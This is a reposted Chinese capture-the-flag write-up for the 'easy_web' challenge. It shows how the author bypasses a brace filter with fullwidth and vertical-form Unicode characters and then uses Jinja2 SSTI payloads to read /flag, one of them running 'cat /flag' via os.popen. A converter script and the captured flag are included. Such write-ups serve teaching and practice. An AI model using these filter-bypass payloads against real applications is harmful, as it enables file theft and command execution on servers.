当前位置:   article > 正文

CTF之easy_web_ctf easy!

ctf easy!

打开网站就一个输入框,按理来说这种类型就是注入类型的漏洞了,至于什么注入还不知道

尝试了目录遍历以及漏洞扫描但是没有什么卵用,抓了一下包发现是python,所以考虑一下SSTI注入

但是好像{{}}被过滤了。

通过符号列表进行爆破,发现  / 也被过滤了,但是 ︷ 会被解析成 { ,︸ 会被解析成 }

然后就可以进行SSTI注入了

  1. """
  2. { -> ︷/﹛
  3. } -> ︸/﹜
  4. ' -> '
  5. , -> ,
  6. " -> "
  7. """
  8. #str = '''{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}''' # 原字符串
  9. str='{{().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open'](\'/flag\').read()}}'
  10. #︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
  11. str = str.replace('{', '︷')
  12. str = str.replace('}', '︸')
  13. str = str.replace('\'',''' )
  14. str = str.replace('\"', '"')
  15. print(str)

 下面是可以注入的ssti

  1. ︷︷().__class__.__mro__[1].__subclasses__()[91].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
  2. ︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
  3. ︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")︸︸

得到flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/807703
推荐阅读
相关标签
  

闽ICP备14008679号